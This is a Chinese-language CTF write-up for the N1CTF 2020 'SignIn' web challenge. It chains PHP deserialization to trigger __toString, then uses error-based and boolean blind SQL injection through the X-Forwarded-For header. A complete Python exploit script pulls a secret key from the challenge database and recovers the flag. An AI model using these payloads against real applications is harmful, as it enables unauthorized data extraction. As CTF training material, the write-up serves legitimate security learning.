N1CTF打不过根本打不过,就做了个签到
SignIn
考点:反序列化,布尔盲注,报错注入
这是源码:
<?php
highlight_file(__FILE__);
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
思路是利用stristr函数触发__toString,然后在XFF头来进行一个sql注入
$pop = new flag();
$pop->ip = new ip();
echo serialize($pop);
页面回显就只会有noip和welcome to n1ctf2020两种,因为__toString方法里面只有return,所以我们并不能直接看到mysql的回显(无论成功与否),只能利用两种回显来判断我们的sql语句是否逻辑正确。
简单fuzz了一下,过滤了like、sleep、BENCHMARK,不能延时注入。
因为他return mysqli_error($con);
返回了MySQL的报错信息,我们便可以报错注入;
' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '
1=1和1=0分别返回了不同的信息。
exp:
import requests
url = 'http://101.32.205.189/index.php?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";i:1;}s:5:"check";s:4:"test";}'
result = ''
req = requests.session()
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#babyselect = "database()"#n1ctf_websign
#babyselect = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"#n1ip,n1key
#babyselect = "(select group_concat(column_name) from information_schema.columns where table_name='n1key')"#id,key
babyselect = "(select `key` from n1key)"#n1ctf20205bf75ab0a30dfc0c
select = "ascii(substr({},{},1))>{}".format(babyselect, x, mid)
payload = "' or updatexml(1,concat(0x7e,(select if(({}),'n1ctf',0)),0x7e),1) or '".format(select)
data = {"X-Forwarded-For": payload}
resp = requests.get(url, headers=data) #GET:params=data POST:data=data
print(payload)
if resp.text.count('welcome to n1ctf2020') == 2: #
low = mid + 1
else:
high = mid
mid = (low + high) // 2
# print(mid)
result += chr(int(mid))
print(result)
print("end.......")
print(result)
key是关键字,只能select key
得到key:n1ctf20205bf75ab0a30dfc0c
$pop = new flag();
$pop->ip = new ip();
$pop->check = "n1ctf20205bf75ab0a30dfc0c";
echo serialize($pop);
传参得到:
n1ctf{you_g0t_1t_hack_for_fun}